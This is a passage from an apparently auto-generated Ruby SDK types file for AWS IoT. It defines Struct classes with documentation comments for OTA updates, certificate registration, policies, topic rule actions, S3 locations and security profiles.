signature_algorithm: "SignatureAlgorithm", # }, # }, # attributes: { # "AttributeKey" => "Value", # }, # } # # @!attribute [rw] file_name # The name of the file. # @return [String] # # @!attribute [rw] file_version # The file version. # @return [String] # # @!attribute [rw] file_location # The location of the updated firmware. # @return [Types::FileLocation] # # @!attribute [rw] code_signing # The code signing method of the file. # @return [Types::CodeSigning] # # @!attribute [rw] attributes # A list of name/attribute pairs. # @return [Hash<String,String>] # class OTAUpdateFile < Struct.new( :file_name, :file_version, :file_location, :code_signing, :attributes) include Aws::Structure end # Information about an OTA update. # # @!attribute [rw] ota_update_id # The OTA update ID. # @return [String] # # @!attribute [rw] ota_update_arn # The OTA update ARN. # @return [String] # # @!attribute [rw] creation_date # The date when the OTA update was created. # @return [Time] # # @!attribute [rw] last_modified_date # The date when the OTA update was last updated. # @return [Time] # # @!attribute [rw] description # A description of the OTA update. # @return [String] # # @!attribute [rw] targets # The targets of the OTA update. # @return [Array<String>] # # @!attribute [rw] protocols # The protocol used to transfer the OTA update image. Valid values are # \[HTTP\], \[MQTT\], \[HTTP, MQTT\]. When both HTTP and MQTT are # specified, the target device can choose the protocol. # @return [Array<String>] # # @!attribute [rw] aws_job_executions_rollout_config # Configuration for the rollout of OTA updates. # @return [Types::AwsJobExecutionsRolloutConfig] # # @!attribute [rw] aws_job_presigned_url_config # Configuration information for pre-signed URLs. Valid when # `protocols` contains HTTP. # @return [Types::AwsJobPresignedUrlConfig] # # @!attribute [rw] target_selection # Specifies whether the OTA update will continue to run (CONTINUOUS), # or will be complete after all those things specified as targets have # completed the OTA update (SNAPSHOT). If continuous, the OTA update # may also be run on a thing when a change is detected in a target. # For example, an OTA update will run on a thing when the thing is # added to a target group, even after the OTA update was completed by # all things originally in the group. # @return [String] # # @!attribute [rw] ota_update_files # A list of files associated with the OTA update. # @return [Array<Types::OTAUpdateFile>] # # @!attribute [rw] ota_update_status # The status of the OTA update. # @return [String] # # @!attribute [rw] aws_iot_job_id # The AWS IoT job ID associated with the OTA update. # @return [String] # # @!attribute [rw] aws_iot_job_arn # The AWS IoT job ARN associated with the OTA update. # @return [String] # # @!attribute [rw] error_info # Error information associated with the OTA update. # @return [Types::ErrorInfo] # # @!attribute [rw] additional_parameters # A collection of name/value pairs # @return [Hash<String,String>] # class OTAUpdateInfo < Struct.new( :ota_update_id, :ota_update_arn, :creation_date, :last_modified_date, :description, :targets, :protocols, :aws_job_executions_rollout_config, :aws_job_presigned_url_config, :target_selection, :ota_update_files, :ota_update_status, :aws_iot_job_id, :aws_iot_job_arn, :error_info, :additional_parameters) include Aws::Structure end # An OTA update summary. # # @!attribute [rw] ota_update_id # The OTA update ID. # @return [String] # # @!attribute [rw] ota_update_arn # The OTA update ARN. # @return [String] # # @!attribute [rw] creation_date # The date when the OTA update was created. # @return [Time] # class OTAUpdateSummary < Struct.new( :ota_update_id, :ota_update_arn, :creation_date) include Aws::Structure end # A certificate that has been transferred but not yet accepted. # # @!attribute [rw] certificate_arn # The certificate ARN. # @return [String] # # @!attribute [rw] certificate_id # The certificate ID. # @return [String] # # @!attribute [rw] transferred_to # The AWS account to which the transfer was made. # @return [String] # # @!attribute [rw] transfer_date # The date the transfer was initiated. # @return [Time] # # @!attribute [rw] transfer_message # The transfer message. # @return [String] # # @!attribute [rw] creation_date # The certificate creation date. # @return [Time] # class OutgoingCertificate < Struct.new( :certificate_arn, :certificate_id, :transferred_to, :transfer_date, :transfer_message, :creation_date) include Aws::Structure end # Describes the percentile and percentile value. # # @!attribute [rw] percent # The percentile. # @return [Float] # # @!attribute [rw] value # The value of the percentile. # @return [Float] # class PercentPair < Struct.new( :percent, :value) include Aws::Structure end # Describes an AWS IoT policy. # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_arn # The policy ARN. # @return [String] # class Policy < Struct.new( :policy_name, :policy_arn) include Aws::Structure end # Describes a policy version. # # @!attribute [rw] version_id # The policy version ID. # @return [String] # # @!attribute [rw] is_default_version # Specifies whether the policy version is the default. # @return [Boolean] # # @!attribute [rw] create_date # The date and time the policy was created. # @return [Time] # class PolicyVersion < Struct.new( :version_id, :is_default_version, :create_date) include Aws::Structure end # Information about the version of the policy associated with the # resource. # # @note When making an API call, you may pass PolicyVersionIdentifier # data as a hash: # # { # policy_name: "PolicyName", # policy_version_id: "PolicyVersionId", # } # # @!attribute [rw] policy_name # The name of the policy. # @return [String] # # @!attribute [rw] policy_version_id # The ID of the version of the policy associated with the resource. # @return [String] # class PolicyVersionIdentifier < Struct.new( :policy_name, :policy_version_id) include Aws::Structure end # Configuration for pre-signed S3 URLs. # # @note When making an API call, you may pass PresignedUrlConfig # data as a hash: # # { # role_arn: "RoleArn", # expires_in_sec: 1, # } # # @!attribute [rw] role_arn # The ARN of an IAM role that grants grants permission to download # files from the S3 bucket where the job data/updates are stored. The # role must also grant permission for IoT to download the files. # @return [String] # # @!attribute [rw] expires_in_sec # How long (in seconds) pre-signed URLs are valid. Valid values are 60 # - 3600, the default value is 3600 seconds. Pre-signed URLs are # generated when Jobs receives an MQTT request for the job document. # @return [Integer] # class PresignedUrlConfig < Struct.new( :role_arn, :expires_in_sec) include Aws::Structure end # A summary of information about a fleet provisioning template. # # @!attribute [rw] template_arn # The ARN of the fleet provisioning template. # @return [String] # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] description # The description of the fleet provisioning template. # @return [String] # # @!attribute [rw] creation_date # The date when the fleet provisioning template summary was created. # @return [Time] # # @!attribute [rw] last_modified_date # The date when the fleet provisioning template summary was last # modified. # @return [Time] # # @!attribute [rw] enabled # True if the fleet provision template is enabled, otherwise false. # @return [Boolean] # class ProvisioningTemplateSummary < Struct.new( :template_arn, :template_name, :description, :creation_date, :last_modified_date, :enabled) include Aws::Structure end # A summary of information about a fleet provision template version. # # @!attribute [rw] version_id # The ID of the fleet privisioning template version. # @return [Integer] # # @!attribute [rw] creation_date # The date when the fleet provisioning template version was created # @return [Time] # # @!attribute [rw] is_default_version # True if the fleet provisioning template version is the default # version, otherwise false. # @return [Boolean] # class ProvisioningTemplateVersionSummary < Struct.new( :version_id, :creation_date, :is_default_version) include Aws::Structure end # Parameters to define a mitigation action that publishes findings to # Amazon SNS. You can implement your own custom actions in response to # the Amazon SNS messages. # # @note When making an API call, you may pass PublishFindingToSnsParams # data as a hash: # # { # topic_arn: "SnsTopicArn", # required # } # # @!attribute [rw] topic_arn # The ARN of the topic to which you want to publish the findings. # @return [String] # class PublishFindingToSnsParams < Struct.new( :topic_arn) include Aws::Structure end # An asset property value entry containing the following information. # # @note When making an API call, you may pass PutAssetPropertyValueEntry # data as a hash: # # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # } # # @!attribute [rw] entry_id # Optional. A unique identifier for this entry that you can define to # better track which message caused an error in case of failure. # Accepts substitution templates. Defaults to a new UUID. # @return [String] # # @!attribute [rw] asset_id # The ID of the AWS IoT SiteWise asset. You must specify either a # `propertyAlias` or both an `aliasId` and a `propertyId`. Accepts # substitution templates. # @return [String] # # @!attribute [rw] property_id # The ID of the asset's property. You must specify either a # `propertyAlias` or both an `aliasId` and a `propertyId`. Accepts # substitution templates. # @return [String] # # @!attribute [rw] property_alias # The name of the property alias associated with your asset property. # You must specify either a `propertyAlias` or both an `aliasId` and a # `propertyId`. Accepts substitution templates. # @return [String] # # @!attribute [rw] property_values # A list of property values to insert that each contain timestamp, # quality, and value (TQV) information. # @return [Array<Types::AssetPropertyValue>] # class PutAssetPropertyValueEntry < Struct.new( :entry_id, :asset_id, :property_id, :property_alias, :property_values) include Aws::Structure end # The input for the DynamoActionVS action that specifies the DynamoDB # table to which the message data will be written. # # @note When making an API call, you may pass PutItemInput # data as a hash: # # { # table_name: "TableName", # required # } # # @!attribute [rw] table_name # The table where the message data will be written. # @return [String] # class PutItemInput < Struct.new( :table_name) include Aws::Structure end # Allows you to define a criteria to initiate the increase in rate of # rollout for a job. # # @note When making an API call, you may pass RateIncreaseCriteria # data as a hash: # # { # number_of_notified_things: 1, # number_of_succeeded_things: 1, # } # # @!attribute [rw] number_of_notified_things # The threshold for number of notified things that will initiate the # increase in rate of rollout. # @return [Integer] # # @!attribute [rw] number_of_succeeded_things # The threshold for number of succeeded things that will initiate the # increase in rate of rollout. # @return [Integer] # class RateIncreaseCriteria < Struct.new( :number_of_notified_things, :number_of_succeeded_things) include Aws::Structure end # The input to the RegisterCACertificate operation. # # @note When making an API call, you may pass RegisterCACertificateRequest # data as a hash: # # { # ca_certificate: "CertificatePem", # required # verification_certificate: "CertificatePem", # required # set_as_active: false, # allow_auto_registration: false, # registration_config: { # template_body: "TemplateBody", # role_arn: "RoleArn", # }, # } # # @!attribute [rw] ca_certificate # The CA certificate. # @return [String] # # @!attribute [rw] verification_certificate # The private key verification certificate. # @return [String] # # @!attribute [rw] set_as_active # A boolean value that specifies if the CA certificate is set to # active. # @return [Boolean] # # @!attribute [rw] allow_auto_registration # Allows this CA certificate to be used for auto registration of # device certificates. # @return [Boolean] # # @!attribute [rw] registration_config # Information about the registration configuration. # @return [Types::RegistrationConfig] # class RegisterCACertificateRequest < Struct.new( :ca_certificate, :verification_certificate, :set_as_active, :allow_auto_registration, :registration_config) include Aws::Structure end # The output from the RegisterCACertificateResponse operation. # # @!attribute [rw] certificate_arn # The CA certificate ARN. # @return [String] # # @!attribute [rw] certificate_id # The CA certificate identifier. # @return [String] # class RegisterCACertificateResponse < Struct.new( :certificate_arn, :certificate_id) include Aws::Structure end # The input to the RegisterCertificate operation. # # @note When making an API call, you may pass RegisterCertificateRequest # data as a hash: # # { # certificate_pem: "CertificatePem", # required # ca_certificate_pem: "CertificatePem", # set_as_active: false, # status: "ACTIVE", # accepts ACTIVE, INACTIVE, REVOKED, PENDING_TRANSFER, REGISTER_INACTIVE, PENDING_ACTIVATION # } # # @!attribute [rw] certificate_pem # The certificate data, in PEM format. # @return [String] # # @!attribute [rw] ca_certificate_pem # The CA certificate used to sign the device certificate being # registered. # @return [String] # # @!attribute [rw] set_as_active # A boolean value that specifies if the certificate is set to active. # @return [Boolean] # # @!attribute [rw] status # The status of the register certificate request. # @return [String] # class RegisterCertificateRequest < Struct.new( :certificate_pem, :ca_certificate_pem, :set_as_active, :status) include Aws::Structure end # The output from the RegisterCertificate operation. # # @!attribute [rw] certificate_arn # The certificate ARN. # @return [String] # # @!attribute [rw] certificate_id # The certificate identifier. # @return [String] # class RegisterCertificateResponse < Struct.new( :certificate_arn, :certificate_id) include Aws::Structure end # @note When making an API call, you may pass RegisterThingRequest # data as a hash: # # { # template_body: "TemplateBody", # required # parameters: { # "Parameter" => "Value", # }, # } # # @!attribute [rw] template_body # The provisioning template. See [Programmatic Provisioning][1] for # more information. # # # # [1]: https://docs.aws.amazon.com/iot/latest/developerguide/programmatic-provisioning.html # @return [String] # # @!attribute [rw] parameters # The parameters for provisioning a thing. See [Programmatic # Provisioning][1] for more information. # # # # [1]: https://docs.aws.amazon.com/iot/latest/developerguide/programmatic-provisioning.html # @return [Hash<String,String>] # class RegisterThingRequest < Struct.new( :template_body, :parameters) include Aws::Structure end # @!attribute [rw] certificate_pem # . # @return [String] # # @!attribute [rw] resource_arns # ARNs for the generated resources. # @return [Hash<String,String>] # class RegisterThingResponse < Struct.new( :certificate_pem, :resource_arns) include Aws::Structure end # The registration code is invalid. # # @!attribute [rw] message # Additional information about the exception. # @return [String] # class RegistrationCodeValidationException < Struct.new( :message) include Aws::Structure end # The registration configuration. # # @note When making an API call, you may pass RegistrationConfig # data as a hash: # # { # template_body: "TemplateBody", # role_arn: "RoleArn", # } # # @!attribute [rw] template_body # The template body. # @return [String] # # @!attribute [rw] role_arn # The ARN of the role. # @return [String] # class RegistrationConfig < Struct.new( :template_body, :role_arn) include Aws::Structure end # The input for the RejectCertificateTransfer operation. # # @note When making an API call, you may pass RejectCertificateTransferRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # reject_reason: "Message", # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # # @!attribute [rw] reject_reason # The reason the certificate transfer was rejected. # @return [String] # class RejectCertificateTransferRequest < Struct.new( :certificate_id, :reject_reason) include Aws::Structure end # Information about a related resource. # # @!attribute [rw] resource_type # The type of resource. # @return [String] # # @!attribute [rw] resource_identifier # Information that identifies the resource. # @return [Types::ResourceIdentifier] # # @!attribute [rw] additional_info # Other information about the resource. # @return [Hash<String,String>] # class RelatedResource < Struct.new( :resource_type, :resource_identifier, :additional_info) include Aws::Structure end # @note When making an API call, you may pass RemoveThingFromBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # billing_group_arn: "BillingGroupArn", # thing_name: "ThingName", # thing_arn: "ThingArn", # } # # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # # @!attribute [rw] billing_group_arn # The ARN of the billing group. # @return [String] # # @!attribute [rw] thing_name # The name of the thing to be removed from the billing group. # @return [String] # # @!attribute [rw] thing_arn # The ARN of the thing to be removed from the billing group. # @return [String] # class RemoveThingFromBillingGroupRequest < Struct.new( :billing_group_name, :billing_group_arn, :thing_name, :thing_arn) include Aws::Structure end class RemoveThingFromBillingGroupResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass RemoveThingFromThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # thing_group_arn: "ThingGroupArn", # thing_name: "ThingName", # thing_arn: "ThingArn", # } # # @!attribute [rw] thing_group_name # The group name. # @return [String] # # @!attribute [rw] thing_group_arn # The group ARN. # @return [String] # # @!attribute [rw] thing_name # The name of the thing to remove from the group. # @return [String] # # @!attribute [rw] thing_arn # The ARN of the thing to remove from the group. # @return [String] # class RemoveThingFromThingGroupRequest < Struct.new( :thing_group_name, :thing_group_arn, :thing_name, :thing_arn) include Aws::Structure end class RemoveThingFromThingGroupResponse < Aws::EmptyStructure; end # Parameters to define a mitigation action that adds a blank policy to # restrict permissions. # # @note When making an API call, you may pass ReplaceDefaultPolicyVersionParams # data as a hash: # # { # template_name: "BLANK_POLICY", # required, accepts BLANK_POLICY # } # # @!attribute [rw] template_name # The name of the template to be applied. The only supported value is # `BLANK_POLICY`. # @return [String] # class ReplaceDefaultPolicyVersionParams < Struct.new( :template_name) include Aws::Structure end # The input for the ReplaceTopicRule operation. # # @note When making an API call, you may pass ReplaceTopicRuleRequest # data as a hash: # # { # rule_name: "RuleName", # required # topic_rule_payload: { # required # sql: "SQL", # required # description: "Description", # actions: [ # required # { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, # firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # }, # ], # rule_disabled: false, # aws_iot_sql_version: "AwsIotSqlVersion", # error_action: { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, # firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # }, # }, # } # # @!attribute [rw] rule_name # The name of the rule. # @return [String] # # @!attribute [rw] topic_rule_payload # The rule payload. # @return [Types::TopicRulePayload] # class ReplaceTopicRuleRequest < Struct.new( :rule_name, :topic_rule_payload) include Aws::Structure end # Describes an action to republish to another topic. # # @note When making an API call, you may pass RepublishAction # data as a hash: # # { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # } # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access. # @return [String] # # @!attribute [rw] topic # The name of the MQTT topic. # @return [String] # # @!attribute [rw] qos # The Quality of Service (QoS) level to use when republishing # messages. The default value is 0. # @return [Integer] # class RepublishAction < Struct.new( :role_arn, :topic, :qos) include Aws::Structure end # The resource already exists. # # @!attribute [rw] message # The message for the exception. # @return [String] # # @!attribute [rw] resource_id # The ID of the resource that caused the exception. # @return [String] # # @!attribute [rw] resource_arn # The ARN of the resource that caused the exception. # @return [String] # class ResourceAlreadyExistsException < Struct.new( :message, :resource_id, :resource_arn) include Aws::Structure end # Information that identifies the noncompliant resource. # # @note When making an API call, you may pass ResourceIdentifier # data as a hash: # # { # device_certificate_id: "CertificateId", # ca_certificate_id: "CertificateId", # cognito_identity_pool_id: "CognitoIdentityPoolId", # client_id: "ClientId", # policy_version_identifier: { # policy_name: "PolicyName", # policy_version_id: "PolicyVersionId", # }, # account: "AwsAccountId", # iam_role_arn: "RoleArn", # role_alias_arn: "RoleAliasArn", # } # # @!attribute [rw] device_certificate_id # The ID of the certificate attached to the resource. # @return [String] # # @!attribute [rw] ca_certificate_id # The ID of the CA certificate used to authorize the certificate. # @return [String] # # @!attribute [rw] cognito_identity_pool_id # The ID of the Amazon Cognito identity pool. # @return [String] # # @!attribute [rw] client_id # The client ID. # @return [String] # # @!attribute [rw] policy_version_identifier # The version of the policy associated with the resource. # @return [Types::PolicyVersionIdentifier] # # @!attribute [rw] account # The account with which the resource is associated. # @return [String] # # @!attribute [rw] iam_role_arn # The ARN of the IAM role that has overly permissive actions. # @return [String] # # @!attribute [rw] role_alias_arn # The ARN of the role alias that has overly permissive actions. # @return [String] # class ResourceIdentifier < Struct.new( :device_certificate_id, :ca_certificate_id, :cognito_identity_pool_id, :client_id, :policy_version_identifier, :account, :iam_role_arn, :role_alias_arn) include Aws::Structure end # The specified resource does not exist. # # @!attribute [rw] message # The message for the exception. # @return [String] # class ResourceNotFoundException < Struct.new( :message) include Aws::Structure end # The resource registration failed. # # @!attribute [rw] message # The message for the exception. # @return [String] # class ResourceRegistrationFailureException < Struct.new( :message) include Aws::Structure end # Role alias description. # # @!attribute [rw] role_alias # The role alias. # @return [String] # # @!attribute [rw] role_alias_arn # The ARN of the role alias. # @return [String] # # @!attribute [rw] role_arn # The role ARN. # @return [String] # # @!attribute [rw] owner # The role alias owner. # @return [String] # # @!attribute [rw] credential_duration_seconds # The number of seconds for which the credential is valid. # @return [Integer] # # @!attribute [rw] creation_date # The UNIX timestamp of when the role alias was created. # @return [Time] # # @!attribute [rw] last_modified_date # The UNIX timestamp of when the role alias was last modified. # @return [Time] # class RoleAliasDescription < Struct.new( :role_alias, :role_alias_arn, :role_arn, :owner, :credential_duration_seconds, :creation_date, :last_modified_date) include Aws::Structure end # Describes an action to write data to an Amazon S3 bucket. # # @note When making an API call, you may pass S3Action # data as a hash: # # { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # } # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access. # @return [String] # # @!attribute [rw] bucket_name # The Amazon S3 bucket. # @return [String] # # @!attribute [rw] key # The object key. # @return [String] # # @!attribute [rw] canned_acl # The Amazon S3 canned ACL that controls access to the object # identified by the object key. For more information, see [S3 canned # ACLs][1]. # # # # [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl # @return [String] # class S3Action < Struct.new( :role_arn, :bucket_name, :key, :canned_acl) include Aws::Structure end # Describes the location of updated firmware in S3. # # @note When making an API call, you may pass S3Destination # data as a hash: # # { # bucket: "S3Bucket", # prefix: "Prefix", # } # # @!attribute [rw] bucket # The S3 bucket that contains the updated firmware. # @return [String] # # @!attribute [rw] prefix # The S3 prefix. # @return [String] # class S3Destination < Struct.new( :bucket, :prefix) include Aws::Structure end # The S3 location. # # @note When making an API call, you may pass S3Location # data as a hash: # # { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # } # # @!attribute [rw] bucket # The S3 bucket. # @return [String] # # @!attribute [rw] key # The S3 key. # @return [String] # # @!attribute [rw] version # The S3 bucket version. # @return [String] # class S3Location < Struct.new( :bucket, :key, :version) include Aws::Structure end # Describes an action to write a message to a Salesforce IoT Cloud Input # Stream. # # @note When making an API call, you may pass SalesforceAction # data as a hash: # # { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # } # # @!attribute [rw] token # The token used to authenticate access to the Salesforce IoT Cloud # Input Stream. The token is available from the Salesforce IoT Cloud # platform after creation of the Input Stream. # @return [String] # # @!attribute [rw] url # The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is # available from the Salesforce IoT Cloud platform after creation of # the Input Stream. # @return [String] # class SalesforceAction < Struct.new( :token, :url) include Aws::Structure end # Information about the scheduled audit. # # @!attribute [rw] scheduled_audit_name # The name of the scheduled audit. # @return [String] # # @!attribute [rw] scheduled_audit_arn # The ARN of the scheduled audit. # @return [String] # # @!attribute [rw] frequency # How often the scheduled audit occurs. # @return [String] # # @!attribute [rw] day_of_month # The day of the month on which the scheduled audit is run (if the # `frequency` is "MONTHLY"). If days 29-31 are specified, and the # month does not have that many days, the audit takes place on the # "LAST" day of the month. # @return [String] # # @!attribute [rw] day_of_week # The day of the week on which the scheduled audit is run (if the # `frequency` is "WEEKLY" or "BIWEEKLY"). # @return [String] # class ScheduledAuditMetadata < Struct.new( :scheduled_audit_name, :scheduled_audit_arn, :frequency, :day_of_month, :day_of_week) include Aws::Structure end # @note When making an API call, you may pass SearchIndexRequest # data as a hash: # # { # index_name: "IndexName", # query_string: "QueryString", # required # next_token: "NextToken", # max_results: 1, # query_version: "QueryVersion", # } # # @!attribute [rw] index_name # The search index name. # @return [String] # # @!attribute [rw] query_string # The search query string. # @return [String] # # @!attribute [rw] next_token # The token used to get the next set of results, or `null` if there # are no additional results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] query_version # The query version. # @return [String] # class SearchIndexRequest < Struct.new( :index_name, :query_string, :next_token, :max_results, :query_version) include Aws::Structure end # @!attribute [rw] next_token # The token used to get the next set of results, or `null` if there # are no additional results. # @return [String] # # @!attribute [rw] things # The things that match the search query. # @return [Array<Types::ThingDocument>] # # @!attribute [rw] thing_groups # The thing groups that match the search query. # @return [Array<Types::ThingGroupDocument>] # class SearchIndexResponse < Struct.new( :next_token, :things, :thing_groups) include Aws::Structure end # Identifying information for a Device Defender security profile. # # @!attribute [rw] name # The name you have given to the security profile. # @return [String] # # @!attribute [rw] arn # The ARN of the security profile. # @return [String] # class SecurityProfileIdentifier < Struct.new( :name, :arn) include Aws::Structure end # A target to which an alert is sent when a security profile behavior is # violated. # # @!attribute [rw] arn # The ARN of the security profile. # @return [String] # class SecurityProfileTarget < Struct.new( :arn) include Aws::Structure end # Information about a security profile and the target associated with # it. # # @!attribute [rw] security_profile_identifier # Information that identifies the security profile. # @return [Types::SecurityProfileIdentifier] # # @!attribute [rw] target # Information about the target (thing group) associated with the # security profile. # @return [Types::SecurityProfileTarget] # class SecurityProfileTargetMapping < Struct.new( :security_profile_identifier, :target) include Aws::Structure end # An object that contains information about a server certificate. # # @!attribute [rw] server_certificate_arn # The ARN of the server certificate. # @return [String] # # @!attribute [rw] server_certificate_status # The status of the server certificate. # @return [String] # # @!attribute [rw] server_certificate_status_detail # Details that explain the status of the server certificate. # @return [String] # class ServerCertificateSummary < Struct.new( :server_certificate_arn, :server_certificate_status, :server_certificate_status_detail) include Aws::Structure end # The service is temporarily unavailable. # # @!attribute [rw] message # The message for the exception. # @return [String] # class ServiceUnavailableException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass SetDefaultAuthorizerRequest # data as a hash: # # { # authorizer_name: "AuthorizerName", # required # } # # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # class SetDefaultAuthorizerRequest < Struct.new( :authorizer_name) include Aws::Structure end # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # # 